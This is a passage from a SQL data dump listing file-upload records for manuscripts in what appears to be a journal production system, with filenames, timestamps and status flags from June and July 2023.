10:10:19',1,3,0),(37140,13781,'13781-ki4d-Manuscript-proof-submission-2023-06-15.docx',NULL,'2023-06-15 10:14:07',1,3,0),(37141,13782,'13782-dnvb-Manuscript-proof-submission-2023-06-15.docx',NULL,'2023-06-15 10:15:33',1,3,0),(37142,13826,'13826-0-Manuscript-2023-06-16.docx',NULL,'2023-06-16 15:33:26',1,1,0),(37143,13765,'13765-Manuscript-2023-06-17-skdj.pdf',NULL,'2023-06-17 10:00:19',1,3,0),(37144,13827,'13827-0-Manuscript-2023-06-17.docx',NULL,'2023-06-17 10:38:37',1,1,0),(37145,13828,'13828-0-Manuscript-2023-06-17.docx',NULL,'2023-06-17 11:24:28',1,1,0),(37146,13768,'13768-Manuscript-2023-06-17-cans-ap-team-revised.docx',NULL,'2023-06-17 11:36:53',1,3,0),(37147,13771,'13771-Manuscript-2023-06-17-hdot-ap-team-revised.docx',NULL,'2023-06-17 11:37:11',1,3,0),(37148,13829,'13829-0-Manuscript-2023-06-17.docx',NULL,'2023-06-17 12:16:21',1,1,0),(37149,13830,'13830-0-Manuscript-2023-06-17.docx',NULL,'2023-06-17 12:19:02',1,1,0),(37150,13831,'13831-0-Manuscript-2023-06-17.docx',NULL,'2023-06-17 12:24:51',1,1,0),(37151,13832,'13832-0-Manuscript-2023-06-17.docx',NULL,'2023-06-17 12:43:47',1,1,0),(37153,13834,'13834-0-Manuscript-2023-06-19.docx',NULL,'2023-06-19 09:42:48',1,1,0),(37154,13741,'13741-Manuscript-2023-06-19-qu42-graphic-completed.pdf',NULL,'2023-06-19 11:38:18',1,3,0),(37155,13835,'13835-0-Manuscript-2023-06-19.docx',NULL,'2023-06-19 13:26:49',1,1,0),(37157,13773,'13773-Manuscript-2023-06-19-jdub-graphic-completed.pdf',NULL,'2023-06-19 13:57:33',1,3,0),(37158,13837,'13837-0-Manuscript-2023-06-19.docx',NULL,'2023-06-19 14:04:17',1,1,0),(37159,13838,'13838-0-Manuscript-2023-06-19.docx',NULL,'2023-06-19 14:14:41',1,1,0),(37160,13839,'13839-0-Manuscript-2023-06-19.docx',NULL,'2023-06-19 14:19:28',1,1,0),(37161,13840,'13840-0-Manuscript-2023-06-19.docx',NULL,'2023-06-19 14:21:13',1,1,0),(37162,13841,'13841-0-Manuscript-2023-06-19.docx',NULL,'2023-06-19 14:24:09',1,1,0),(37163,13796,'13796-Manuscript-2023-06-19-0rlj-graphic-completed.pdf',NULL,'2023-06-19 14:27:15',1,3,0),(37164,13842,'13842-0-Manuscript-2023-06-19.docx',NULL,'2023-06-19 22:55:18',1,1,0),(37165,13843,'13843-0-Manuscript-2023-06-20.docx',NULL,'2023-06-20 10:02:52',1,1,0),(37166,13796,'13796-Manuscript-2023-06-20-k5i0.pdf',NULL,'2023-06-20 10:28:49',1,3,1),(37167,13705,'13705-Manuscript-2023-06-20-il8b.pdf',NULL,'2023-06-20 10:30:21',1,3,1),(37168,13741,'13741-Manuscript-2023-06-20-uvmj.pdf',NULL,'2023-06-20 10:31:38',1,3,1),(37169,13773,'13773-Manuscript-2023-06-20-jdub.pdf',NULL,'2023-06-20 10:32:50',1,3,1),(37170,13844,'13844-0-Manuscript-2023-06-20.docx',NULL,'2023-06-20 13:19:07',1,1,0),(37171,13845,'13845-0-Manuscript-2023-06-20.docx',NULL,'2023-06-20 13:54:07',1,1,0),(37172,13700,'13700-5atn-Manuscript-proof-submission-2023-06-20.docx',NULL,'2023-06-20 14:13:00',1,3,0),(37173,13846,'13846-0-Manuscript-2023-06-20.docx',NULL,'2023-06-20 15:25:52',1,1,0),(37174,13847,'13847-0-Manuscript-2023-06-21.pdf',NULL,'2023-06-21 07:48:40',1,1,0),(37175,13799,'13799-5xmv-Manuscript-proof-submission-2023-06-21.rar',NULL,'2023-06-21 10:39:03',1,3,0),(37176,13800,'13800-h7bq-Manuscript-proof-submission-2023-06-21.rar',NULL,'2023-06-21 10:39:22',1,3,0),(37177,13801,'13801-ue2i-Manuscript-proof-submission-2023-06-21.rar',NULL,'2023-06-21 10:39:39',1,3,0),(37178,13802,'13802-5oen-Manuscript-proof-submission-2023-06-21.rar',NULL,'2023-06-21 10:39:56',1,3,0),(37179,13803,'13803-o3fz-Manuscript-proof-submission-2023-06-21.rar',NULL,'2023-06-21 10:40:14',1,3,0),(37180,13848,'13848-0-Manuscript-2023-06-21.docx',NULL,'2023-06-21 11:50:44',1,1,0),(37181,13786,'13786-vho8-Manuscript-proof-submission-2023-06-21.docx',NULL,'2023-06-21 12:01:11',1,3,0),(37182,13791,'13791-u8rd-Manuscript-proof-submission-2023-06-21.docx',NULL,'2023-06-21 12:01:58',1,3,0),(37183,13804,'13804-hmbq-Manuscript-proof-submission-2023-06-21.rar',NULL,'2023-06-21 14:11:58',1,3,0),(37184,13804,'13804-ae42-Manuscript-proof-submission-2023-06-21.rar',NULL,'2023-06-21 14:12:00',1,3,0),(37185,13805,'13805-g59y-Manuscript-proof-submission-2023-06-21.rar',NULL,'2023-06-21 14:12:34',1,3,0),(37186,13806,'13806-5y34-Manuscript-proof-submission-2023-06-21.rar',NULL,'2023-06-21 14:13:06',1,3,0),(37187,13807,'13807-3f8c-Manuscript-proof-submission-2023-06-21.rar',NULL,'2023-06-21 14:13:39',1,3,0),(37188,13808,'13808-c3pb-Manuscript-proof-submission-2023-06-21.rar',NULL,'2023-06-21 14:14:33',1,3,0),(37189,13799,'13799-Manuscript-2023-06-21-yqe6-ap-team-revised.rar',NULL,'2023-06-21 17:03:34',1,3,1),(37190,13802,'13802-Manuscript-2023-06-21-bl2e-ap-team-revised.rar',NULL,'2023-06-21 17:05:36',1,3,1),(37191,13801,'13801-Manuscript-2023-06-21-bz7u-ap-team-revised.rar',NULL,'2023-06-21 17:06:10',1,3,1),(37192,13800,'13800-Manuscript-2023-06-21-umwa-ap-team-revised.rar',NULL,'2023-06-21 17:06:41',1,3,1),(37194,13850,'13850-0-Manuscript-2023-06-21.docx',NULL,'2023-06-21 17:37:35',1,1,0),(37196,13807,'13807-Manuscript-2023-06-22-jk3a-ap-team-revised.rar',NULL,'2023-06-22 09:36:25',1,3,1),(37197,13806,'13806-Manuscript-2023-06-22-1ih3-ap-team-revised.rar',NULL,'2023-06-22 09:37:16',1,3,1),(37198,13808,'13808-Manuscript-2023-06-22-9n2e-ap-team-revised.rar',NULL,'2023-06-22 09:41:17',1,3,1),(37199,13805,'13805-Manuscript-2023-06-22-amdf-ap-team-revised.rar',NULL,'2023-06-22 09:42:05',1,3,1),(37200,13803,'13803-Manuscript-2023-06-22-iovm-ap-team-revised.rar',NULL,'2023-06-22 09:45:17',1,3,1),(37201,13804,'13804-Manuscript-2023-06-22-o3w0-ap-team-revised.rar',NULL,'2023-06-22 09:46:05',1,3,1),(37202,13852,'13849-0-Manuscript-2023-06-21.docx','','2023-06-21 00:00:00',1,1,0),(37203,13799,'13799-Manuscript-2023-06-22-0n69-graphic-completed.pdf',NULL,'2023-06-22 14:31:43',1,3,0),(37204,13801,'13801-Manuscript-2023-06-22-0367-graphic-completed.pdf',NULL,'2023-06-22 14:32:10',1,3,0),(37205,13800,'13800-Manuscript-2023-06-22-b24r-graphic-completed.pdf',NULL,'2023-06-22 14:33:38',1,3,0),(37206,13843,'13843-f9qi-Manuscript-proof-submission-2023-06-22.rar',NULL,'2023-06-22 17:56:10',1,3,0),(37207,13832,'13832-ilca-Manuscript-proof-submission-2023-06-22.rar',NULL,'2023-06-22 17:56:51',1,3,0),(37208,13831,'13831-6fst-Manuscript-proof-submission-2023-06-22.rar',NULL,'2023-06-22 17:57:35',1,3,0),(37209,13830,'13830-saz5-Manuscript-proof-submission-2023-06-22.rar',NULL,'2023-06-22 17:58:12',1,3,0),(37210,13829,'13829-n5pg-Manuscript-proof-submission-2023-06-22.rar',NULL,'2023-06-22 17:59:03',1,3,0),(37211,13825,'13825-tmz4-Manuscript-proof-submission-2023-06-22.rar',NULL,'2023-06-22 17:59:39',1,3,0),(37212,13824,'13824-2rhe-Manuscript-proof-submission-2023-06-22.rar',NULL,'2023-06-22 18:00:22',1,3,0),(37213,13823,'13823-5lbz-Manuscript-proof-submission-2023-06-22.rar',NULL,'2023-06-22 18:00:53',1,3,0),(37214,13820,'13820-smze-Manuscript-proof-submission-2023-06-22.rar',NULL,'2023-06-22 18:01:34',1,3,0),(37215,13816,'13816-2xot-Manuscript-proof-submission-2023-06-22.rar',NULL,'2023-06-22 18:02:16',1,3,0),(37216,13853,'13853-0-Manuscript-2023-06-23.docx',NULL,'2023-06-23 09:14:37',1,1,0),(37217,13843,'13843-Manuscript-2023-06-23-idol-ap-team-revised.rar',NULL,'2023-06-23 10:16:05',1,3,1),(37218,13832,'13832-Manuscript-2023-06-23-6mxp-ap-team-revised.rar',NULL,'2023-06-23 10:16:35',1,3,1),(37219,13816,'13816-Manuscript-2023-06-23-meds-ap-team-revised.rar',NULL,'2023-06-23 10:17:36',1,3,1),(37220,13820,'13820-Manuscript-2023-06-23-xskg-ap-team-revised.rar',NULL,'2023-06-23 10:18:32',1,3,1),(37221,13854,'13854-0-Manuscript-2023-06-23.docx',NULL,'2023-06-23 10:19:05',1,1,0),(37222,13830,'13830-Manuscript-2023-06-23-csrw-ap-team-revised.rar',NULL,'2023-06-23 10:19:06',1,3,1),(37223,13831,'13831-Manuscript-2023-06-23-bw9n-ap-team-revised.rar',NULL,'2023-06-23 10:19:42',1,3,1),(37224,13829,'13829-Manuscript-2023-06-23-r782-ap-team-revised.rar',NULL,'2023-06-23 10:20:18',1,3,1),(37225,13823,'13823-Manuscript-2023-06-23-gf1q-ap-team-revised.rar',NULL,'2023-06-23 10:20:47',1,3,1),(37226,13825,'13825-Manuscript-2023-06-23-h7mr-ap-team-revised.rar',NULL,'2023-06-23 10:21:21',1,3,1),(37227,13824,'13824-Manuscript-2023-06-23-vizq-ap-team-revised.rar',NULL,'2023-06-23 10:21:50',1,3,1),(37228,13855,'13855-0-Manuscript-2023-06-23.docx',NULL,'2023-06-23 11:24:43',1,1,0),(37229,13856,'13856-0-Manuscript-2023-06-23.docx',NULL,'2023-06-23 12:12:57',1,1,0),(37230,13857,'13857-0-Manuscript-2023-06-23.docx',NULL,'2023-06-23 14:12:38',1,1,0),(37231,13858,'13858-0-Manuscript-2023-06-23.docx',NULL,'2023-06-23 14:13:53',1,1,0),(37232,13853,'13853-nm5x-Manuscript-2023-06-24.docx',NULL,'2023-06-24 08:51:23',1,1,0),(37233,13859,'13859-0-Manuscript-2023-06-24.docx',NULL,'2023-06-24 09:43:55',1,1,0),(37234,13860,'13860-0-Manuscript-2023-06-24.docx',NULL,'2023-06-24 10:31:25',1,1,0),(37235,13807,'13807-Manuscript-2023-06-24-gjd7-graphic-completed.pdf',NULL,'2023-06-24 11:11:37',1,3,0),(37236,13806,'13806-Manuscript-2023-06-24-xwlu-graphic-completed.pdf',NULL,'2023-06-24 11:11:39',1,3,0),(37237,13804,'13804-Manuscript-2023-06-24-q4cg-graphic-completed.pdf',NULL,'2023-06-24 11:11:42',1,3,0),(37238,13802,'13802-Manuscript-2023-06-24-ymil-graphic-completed.pdf',NULL,'2023-06-24 11:11:45',1,3,0),(37239,13808,'13808-Manuscript-2023-06-24-2wsv-graphic-completed.pdf',NULL,'2023-06-24 11:11:54',1,3,0),(37240,13805,'13805-Manuscript-2023-06-24-aq8j-graphic-completed.pdf',NULL,'2023-06-24 11:11:57',1,3,0),(37241,13803,'13803-Manuscript-2023-06-24-gqo0-graphic-completed.pdf',NULL,'2023-06-24 11:12:00',1,3,0),(37242,13861,'13861-0-Manuscript-2023-06-24.docx',NULL,'2023-06-24 12:19:05',1,1,0),(37243,13862,'13862-0-Manuscript-2023-06-24.docx',NULL,'2023-06-24 12:28:30',1,1,0),(37244,13863,'13863-0-Manuscript-2023-06-24.docx',NULL,'2023-06-24 12:30:07',1,1,0),(37245,13864,'13864-0-Manuscript-2023-06-24.docx',NULL,'2023-06-24 12:31:36',1,1,0),(37246,13865,'13865-0-Manuscript-2023-06-24.docx',NULL,'2023-06-24 12:33:37',1,1,0),(37247,13866,'13866-0-Manuscript-2023-06-24.docx',NULL,'2023-06-24 12:35:27',1,1,0),(37248,13867,'13867-0-Manuscript-2023-06-24.docx',NULL,'2023-06-24 12:36:57',1,1,0),(37249,13807,'13807-Manuscript-2023-06-24-gvdm.pdf',NULL,'2023-06-24 12:38:22',1,3,1),(37250,13868,'13868-0-Manuscript-2023-06-24.docx',NULL,'2023-06-24 12:38:48',1,1,0),(37251,13806,'13806-Manuscript-2023-06-24-zrp5.pdf',NULL,'2023-06-24 12:39:06',1,3,1),(37252,13799,'13799-Manuscript-2023-06-24-t8y0.pdf',NULL,'2023-06-24 12:42:10',1,3,1),(37253,13801,'13801-Manuscript-2023-06-24-9icv.pdf',NULL,'2023-06-24 12:44:07',1,3,1),(37254,13803,'13803-Manuscript-2023-06-24-x9ow.pdf',NULL,'2023-06-24 12:45:09',1,3,1),(37255,13804,'13804-Manuscript-2023-06-24-cdti.pdf',NULL,'2023-06-24 12:47:07',1,3,1),(37256,13869,'13869-0-Manuscript-2023-06-24.docx',NULL,'2023-06-24 12:49:45',1,1,0),(37257,13870,'13870-0-Manuscript-2023-06-24.docx',NULL,'2023-06-24 13:00:07',1,1,0),(37258,13871,'13871-0-Manuscript-2023-06-26.docx',NULL,'2023-06-26 09:31:46',1,1,0),(37259,13835,'13835-jl0g-Manuscript-proof-submission-2023-06-26.rar',NULL,'2023-06-26 10:14:58',1,3,0),(37260,13837,'13837-2ins-Manuscript-proof-submission-2023-06-26.rar',NULL,'2023-06-26 10:30:57',1,3,0),(37261,13872,'13872-0-Manuscript-2023-06-26.docx',NULL,'2023-06-26 10:42:34',1,1,0),(37262,13838,'13838-19j4-Manuscript-proof-submission-2023-06-26.rar',NULL,'2023-06-26 10:46:45',1,3,0),(37263,13839,'13839-84nh-Manuscript-proof-submission-2023-06-26.rar',NULL,'2023-06-26 11:04:43',1,3,0),(37264,13840,'13840-evnt-Manuscript-proof-submission-2023-06-26.rar',NULL,'2023-06-26 11:18:34',1,3,0),(37265,13873,'13873-0-Manuscript-2023-06-26.docx',NULL,'2023-06-26 11:31:29',1,1,0),(37266,13841,'13841-honq-Manuscript-proof-submission-2023-06-26.rar',NULL,'2023-06-26 11:41:02',1,3,0),(37267,13844,'13844-587f-Manuscript-proof-submission-2023-06-26.rar',NULL,'2023-06-26 11:50:11',1,3,0),(37268,13845,'13845-jxcy-Manuscript-proof-submission-2023-06-26.rar',NULL,'2023-06-26 11:59:04',1,3,0),(37269,13857,'13857-mau8-Manuscript-proof-submission-2023-06-26.rar',NULL,'2023-06-26 12:11:32',1,3,0),(37270,13858,'13858-usor-Manuscript-proof-submission-2023-06-26.rar',NULL,'2023-06-26 13:12:10',1,3,0),(37272,13857,'13857-Manuscript-2023-06-26-9zo0-ap-team-revised.rar',NULL,'2023-06-26 14:30:29',1,3,1),(37273,13858,'13858-Manuscript-2023-06-26-6dp8-ap-team-revised.rar',NULL,'2023-06-26 14:31:01',1,3,1),(37274,13845,'13845-Manuscript-2023-06-26-oj4u-ap-team-revised.rar',NULL,'2023-06-26 14:31:49',1,3,1),(37275,13835,'13835-Manuscript-2023-06-26-7bqz-ap-team-revised.rar',NULL,'2023-06-26 14:32:23',1,3,1),(37276,13844,'13844-Manuscript-2023-06-26-zrd3-ap-team-revised.rar',NULL,'2023-06-26 14:32:55',1,3,1),(37277,13839,'13839-Manuscript-2023-06-26-uw6j-ap-team-revised.rar',NULL,'2023-06-26 14:33:27',1,3,1),(37278,13840,'13840-Manuscript-2023-06-26-jdfy-ap-team-revised.rar',NULL,'2023-06-26 14:33:56',1,3,1),(37279,13841,'13841-Manuscript-2023-06-26-or97-ap-team-revised.rar',NULL,'2023-06-26 14:34:32',1,3,1),(37280,13838,'13838-Manuscript-2023-06-26-vwye-ap-team-revised.rar',NULL,'2023-06-26 14:35:07',1,3,1),(37281,13837,'13837-Manuscript-2023-06-26-b36m-ap-team-revised.rar',NULL,'2023-06-26 14:35:38',1,3,1),(37282,13808,'13808-Manuscript-2023-06-27-5hqg.pdf',NULL,'2023-06-27 09:09:06',1,3,1),(37283,13802,'13802-Manuscript-2023-06-27-typn.pdf',NULL,'2023-06-27 09:10:36',1,3,1),(37284,13805,'13805-Manuscript-2023-06-27-ae96.pdf',NULL,'2023-06-27 09:11:48',1,3,1),(37285,13800,'13800-Manuscript-2023-06-27-u64y.pdf',NULL,'2023-06-27 09:12:45',1,3,1),(37286,13874,'13874-0-Manuscript-2023-06-28.docx',NULL,'2023-06-28 10:05:25',1,1,0),(37288,13853,'13853-l6h4-Manuscript-proof-submission-2023-06-28.rar',NULL,'2023-06-28 10:22:36',1,3,0),(37289,13769,'13769-ax2y-Manuscript-proof-submission-2023-06-28.rar',NULL,'2023-06-28 10:22:51',1,3,0),(37290,13876,'13876-0-Manuscript-2023-06-28.docx',NULL,'2023-06-28 10:23:00',1,1,0),(37291,13877,'13877-0-Manuscript-2023-06-28.docx',NULL,'2023-06-28 10:30:35',1,1,0),(37292,13878,'13878-0-Manuscript-2023-06-28.docx',NULL,'2023-06-28 11:59:12',1,1,0),(37293,13835,'13835-Manuscript-2023-06-28-zlxk-graphic-completed.pdf',NULL,'2023-06-28 14:14:06',1,3,0),(37294,13838,'13838-Manuscript-2023-06-28-ad3z-graphic-completed.pdf',NULL,'2023-06-28 14:14:14',1,3,0),(37295,13837,'13837-Manuscript-2023-06-28-guvk-graphic-completed.pdf',NULL,'2023-06-28 14:14:23',1,3,0),(37296,13841,'13841-Manuscript-2023-06-28-c3we-graphic-completed.pdf',NULL,'2023-06-28 14:14:33',1,3,0),(37297,13840,'13840-Manuscript-2023-06-28-cz59-graphic-completed.pdf',NULL,'2023-06-28 14:14:51',1,3,0),(37298,13839,'13839-Manuscript-2023-06-28-ld8p-graphic-completed.pdf',NULL,'2023-06-28 14:15:00',1,3,0),(37299,13844,'13844-Manuscript-2023-06-28-04gw-graphic-completed.pdf',NULL,'2023-06-28 14:15:13',1,3,0),(37300,13845,'13845-Manuscript-2023-06-28-gbsf-graphic-completed.pdf',NULL,'2023-06-28 14:15:21',1,3,0),(37301,13858,'13858-Manuscript-2023-06-28-k3rz-graphic-completed.pdf',NULL,'2023-06-28 14:15:33',1,3,0),(37302,13857,'13857-Manuscript-2023-06-28-oxv8-graphic-completed.pdf',NULL,'2023-06-28 14:15:46',1,3,0),(37303,13853,'13853-Manuscript-2023-06-28-5s7r-ap-team-revised.rar',NULL,'2023-06-28 14:27:12',1,3,1),(37304,13857,'13857-Manuscript-2023-06-28-8d6q.pdf',NULL,'2023-06-28 14:49:33',1,3,1),(37305,13858,'13858-Manuscript-2023-06-28-5gjm.pdf',NULL,'2023-06-28 15:17:43',1,3,1),(37306,13845,'13845-Manuscript-2023-06-28-m0af.pdf',NULL,'2023-06-28 15:18:55',1,3,1),(37307,13835,'13835-Manuscript-2023-06-28-51wg.pdf',NULL,'2023-06-28 15:25:23',1,3,1),(37308,13830,'13830-Manuscript-2023-06-28-qfr7-graphic-completed.pdf',NULL,'2023-06-28 15:36:12',1,3,0),(37309,13829,'13829-Manuscript-2023-06-28-2i9n-graphic-completed.pdf',NULL,'2023-06-28 15:36:17',1,3,0),(37310,13823,'13823-Manuscript-2023-06-28-abi5-graphic-completed.pdf',NULL,'2023-06-28 15:36:22',1,3,0),(37311,13824,'13824-Manuscript-2023-06-28-gj0t-graphic-completed.pdf',NULL,'2023-06-28 15:36:26',1,3,0),(37312,13820,'13820-Manuscript-2023-06-28-ya9g-graphic-completed.pdf',NULL,'2023-06-28 15:36:30',1,3,0),(37313,13743,'13743-Manuscript-2023-06-28-549m-graphic-completed.pdf',NULL,'2023-06-28 15:36:34',1,3,0),(37314,13832,'13832-Manuscript-2023-06-28-f4ec-graphic-completed.pdf',NULL,'2023-06-28 15:36:46',1,3,0),(37315,13831,'13831-Manuscript-2023-06-28-q6ax-graphic-completed.pdf',NULL,'2023-06-28 15:36:49',1,3,0),(37316,13825,'13825-Manuscript-2023-06-28-nr1h-graphic-completed.pdf',NULL,'2023-06-28 15:36:57',1,3,0),(37317,13816,'13816-Manuscript-2023-06-28-f86w-graphic-completed.pdf',NULL,'2023-06-28 15:37:05',1,3,0),(37318,13838,'13838-Manuscript-2023-06-28-thy6.pdf',NULL,'2023-06-28 15:57:56',1,3,1),(37319,13870,'13870-daih-Manuscript-proof-submission-2023-06-28.rar',NULL,'2023-06-28 16:00:13',1,3,0),(37320,13869,'13869-fsdh-Manuscript-proof-submission-2023-06-28.rar',NULL,'2023-06-28 16:00:47',1,3,0),(37321,13866,'13866-8h7r-Manuscript-proof-submission-2023-06-28.rar',NULL,'2023-06-28 16:01:23',1,3,0),(37322,13865,'13865-ec81-Manuscript-proof-submission-2023-06-28.rar',NULL,'2023-06-28 16:01:51',1,3,0),(37323,13864,'13864-3zyl-Manuscript-proof-submission-2023-06-28.rar',NULL,'2023-06-28 16:02:18',1,3,0),(37324,13863,'13863-xian-Manuscript-proof-submission-2023-06-28.rar',NULL,'2023-06-28 16:02:45',1,3,0),(37325,13862,'13862-ihet-Manuscript-proof-submission-2023-06-28.rar',NULL,'2023-06-28 16:03:22',1,3,0),(37326,13840,'13840-Manuscript-2023-06-28-r8n2.pdf',NULL,'2023-06-28 16:57:36',1,3,1),(37327,13841,'13841-Manuscript-2023-06-28-e4mp.pdf',NULL,'2023-06-28 16:58:50',1,3,1),(37328,13837,'13837-Manuscript-2023-06-28-8sq2.pdf',NULL,'2023-06-28 16:59:39',1,3,1),(37329,13844,'13844-Manuscript-2023-06-28-u9ne.pdf',NULL,'2023-06-28 17:30:34',1,3,1),(37330,13839,'13839-Manuscript-2023-06-28-71qk.pdf',NULL,'2023-06-28 17:30:58',1,3,1),(37331,13853,'13853-Manuscript-2023-06-28-avmg-graphic-completed.pdf',NULL,'2023-06-28 17:51:33',1,3,0),(37333,13880,'13880-0-Manuscript-2023-06-29.docx',NULL,'2023-06-29 09:37:18',1,1,0),(37335,13882,'13882-0-Manuscript-2023-06-29.docx',NULL,'2023-06-29 10:06:48',1,1,0),(37336,13883,'13883-0-Manuscript-2023-06-29.docx',NULL,'2023-06-29 10:09:23',1,1,0),(37337,13884,'13884-0-Manuscript-2023-06-29.docx',NULL,'2023-06-29 10:12:05',1,1,0),(37338,13885,'13885-0-Manuscript-2023-06-29.docx',NULL,'2023-06-29 10:14:55',1,1,0),(37339,13865,'13865-Manuscript-2023-06-29-qfj2-ap-team-revised.rar',NULL,'2023-06-29 10:26:44',1,3,0),(37340,13866,'13866-Manuscript-2023-06-29-bohd-ap-team-revised.rar',NULL,'2023-06-29 10:27:38',1,3,0),(37341,13869,'13869-Manuscript-2023-06-29-n6zv-ap-team-revised.rar',NULL,'2023-06-29 10:28:05',1,3,0),(37342,13870,'13870-Manuscript-2023-06-29-43jl-ap-team-revised.rar',NULL,'2023-06-29 10:28:30',1,3,0),(37343,13864,'13864-Manuscript-2023-06-29-52vc-ap-team-revised.rar',NULL,'2023-06-29 10:28:57',1,3,0),(37344,13862,'13862-Manuscript-2023-06-29-gbd2-ap-team-revised.rar',NULL,'2023-06-29 10:29:24',1,3,0),(37345,13863,'13863-Manuscript-2023-06-29-m2pq-ap-team-revised.rar',NULL,'2023-06-29 10:29:52',1,3,0),(37346,13886,'13886-0-Manuscript-2023-06-29.docx',NULL,'2023-06-29 11:36:43',1,1,0),(37347,13798,'13798-u5pq-Manuscript-proof-submission-2023-06-29.rar',NULL,'2023-06-29 13:32:02',1,3,0),(37348,13877,'13877-ngt3-Manuscript-proof-submission-2023-06-29.rar',NULL,'2023-06-29 14:28:47',1,3,0),(37349,13876,'13876-tok9-Manuscript-proof-submission-2023-06-29.rar',NULL,'2023-06-29 14:29:20',1,3,0),(37350,13876,'13876-Manuscript-2023-06-29-3rta-ap-team-revised.rar',NULL,'2023-06-29 14:44:24',1,3,0),(37351,13877,'13877-Manuscript-2023-06-29-zeg7-ap-team-revised.rar',NULL,'2023-06-29 14:44:49',1,3,0),(37352,13853,'13853-Manuscript-2023-06-30-y8ex.pdf',NULL,'2023-06-30 10:36:49',1,3,1),(37353,13887,'13887-0-Manuscript-2023-06-30.docx',NULL,'2023-06-30 14:30:34',1,1,0),(37354,13888,'13888-0-Manuscript-2023-07-01.docx',NULL,'2023-07-01 09:48:07',1,1,0),(37355,13889,'13889-0-Manuscript-2023-07-01.docx',NULL,'2023-07-01 09:55:53',1,1,0),(37356,13793,'13793-54qr-Manuscript-proof-submission-2023-07-01.docx',NULL,'2023-07-01 11:37:58',1,3,0),(37358,13703,'13703-x1cj-Manuscript-proof-submission-2023-07-01.docx',NULL,'2023-07-01 14:53:34',1,3,0),(37359,13892,'13892-0-Manuscript-2023-07-02.docx',NULL,'2023-07-02 13:07:57',1,1,0),(37360,13769,'13769-Manuscript-2023-07-03-afv8-move-pdf-making.pdf',NULL,'2023-07-03 10:14:18',1,3,0),(37361,13793,'13793-Manuscript-2023-07-03-d4jh-move-pdf-making.pdf',NULL,'2023-07-03 10:18:33',1,3,0),(37362,13786,'13786-Manuscript-2023-07-03-tzge-move-pdf-making.pdf',NULL,'2023-07-03 10:31:56',1,3,0),(37363,13769,'13769-Manuscript-2023-07-03-xcgl-graphic-completed.pdf',NULL,'2023-07-03 10:57:51',1,3,0),(37364,13776,'13776-Manuscript-2023-07-03-ph9q-move-pdf-making.pdf',NULL,'2023-07-03 11:23:30',1,3,0),(37365,13791,'13791-Manuscript-2023-07-03-nxyt-move-pdf-making.pdf',NULL,'2023-07-03 11:23:59',1,3,0),(37366,13893,'13893-0-Manuscript-2023-07-03.docx',NULL,'2023-07-03 14:01:15',1,1,0),(37367,13798,'13798-Manuscript-2023-07-03-ft09-ap-team-revised.rar',NULL,'2023-07-03 14:15:10',1,3,1),(37368,13894,'13894-0-Manuscript-2023-07-03.docx',NULL,'2023-07-03 14:15:14',1,1,0),(37369,13895,'13895-0-Manuscript-2023-07-03.docx',NULL,'2023-07-03 15:07:38',1,1,0),(37370,13896,'13896-0-Manuscript-2023-07-03.docx',NULL,'2023-07-03 18:19:08',1,1,0),(37371,13810,'13810-mky0-Manuscript-proof-submission-2023-07-04.rar',NULL,'2023-07-04 10:08:21',1,3,0),(37372,13810,'13810-Manuscript-2023-07-04-jl0d-ap-team-revised.rar',NULL,'2023-07-04 11:31:14',1,3,1),(37373,13792,'13792-tk9z-Manuscript-proof-submission-2023-07-04.rar',NULL,'2023-07-04 14:50:03',1,3,0),(37374,13827,'13827-mfbx-Manuscript-proof-submission-2023-07-04.rar',NULL,'2023-07-04 15:54:09',1,3,0),(37375,13776,'13776-Manuscript-2023-07-04-ilbh-move-pdf-making.docx',NULL,'2023-07-04 16:37:52',1,3,0),(37376,13890,'13890-6k47-Manuscript-2023-07-04.docx',NULL,'2023-07-04 17:24:05',1,1,0),(37377,13890,'13890-8roc-Manuscript-2023-07-04.docx',NULL,'2023-07-04 17:24:05',1,1,0),(37378,13890,'13890-ht1l-Manuscript-2023-07-04.docx',NULL,'2023-07-04 17:24:05',1,1,0),(37379,13890,'13890-13rh-Manuscript-2023-07-04.docx',NULL,'2023-07-04 17:24:05',1,1,0),(37380,13890,'13890-jwn1-Manuscript-2023-07-04.jpg',NULL,'2023-07-04 17:24:05',1,1,0),(37381,13890,'13890-wtrm-Manuscript-2023-07-04.jpg',NULL,'2023-07-04 17:24:05',1,1,0),(37382,13890,'13890-m9cf-Manuscript-2023-07-04.docx',NULL,'2023-07-04 17:24:05',1,1,0),(37383,13827,'13827-Manuscript-2023-07-04-3x8s-ap-team-revised.rar',NULL,'2023-07-04 17:39:28',1,3,1),(37384,13792,'13792-Manuscript-2023-07-04-h9ok-ap-team-revised.rar',NULL,'2023-07-04 17:39:55',1,3,1),(37385,13827,'13827-Manuscript-2023-07-05-g1my-graphic-completed.pdf',NULL,'2023-07-05 10:28:57',1,3,0),(37386,13792,'13792-Manuscript-2023-07-05-3up8-graphic-completed.pdf',NULL,'2023-07-05 10:29:09',1,3,0),(37387,13898,'13898-0-Manuscript-2023-07-05.docx',NULL,'2023-07-05 11:17:39',1,1,0),(37388,13878,'13878-k1vz-Manuscript-proof-submission-2023-07-05.rar',NULL,'2023-07-05 11:24:31',1,3,0),(37389,13886,'13886-tskg-Manuscript-proof-submission-2023-07-05.rar',NULL,'2023-07-05 12:02:01',1,3,0),(37390,13886,'13886-Manuscript-2023-07-05-dx70-ap-team-revised.rar',NULL,'2023-07-05 13:28:08',1,3,1),(37391,13878,'13878-Manuscript-2023-07-05-k7y1-ap-team-revised.rar',NULL,'2023-07-05 13:28:47',1,3,1),(37392,13810,'13810-Manuscript-2023-07-05-a8qv-graphic-completed.pdf',NULL,'2023-07-05 14:23:51',1,3,0),(37393,13886,'13886-Manuscript-2023-07-05-v7h6-graphic-completed.pdf',NULL,'2023-07-05 14:28:52',1,3,0),(37394,13887,'13887-vzd0-Manuscript-proof-submission-2023-07-05.rar',NULL,'2023-07-05 15:35:42',1,3,0),(37395,13887,'13887-tick-Manuscript-proof-submission-2023-07-05.rar',NULL,'2023-07-05 15:36:16',1,3,0),(37396,13878,'13878-Manuscript-2023-07-05-r4zb-graphic-completed.pdf',NULL,'2023-07-05 16:57:03',1,3,0),(37397,13893,'13893-ie42-Manuscript-proof-submission-2023-07-06.rar',NULL,'2023-07-06 10:40:35',1,3,0),(37398,13894,'13894-4qpe-Manuscript-proof-submission-2023-07-06.rar',NULL,'2023-07-06 11:12:30',1,3,0),(37399,13895,'13895-2czt-Manuscript-proof-submission-2023-07-06.rar',NULL,'2023-07-06 11:34:36',1,3,0),(37400,13895,'13895-Manuscript-2023-07-06-adec-ap-team-revised.rar',NULL,'2023-07-06 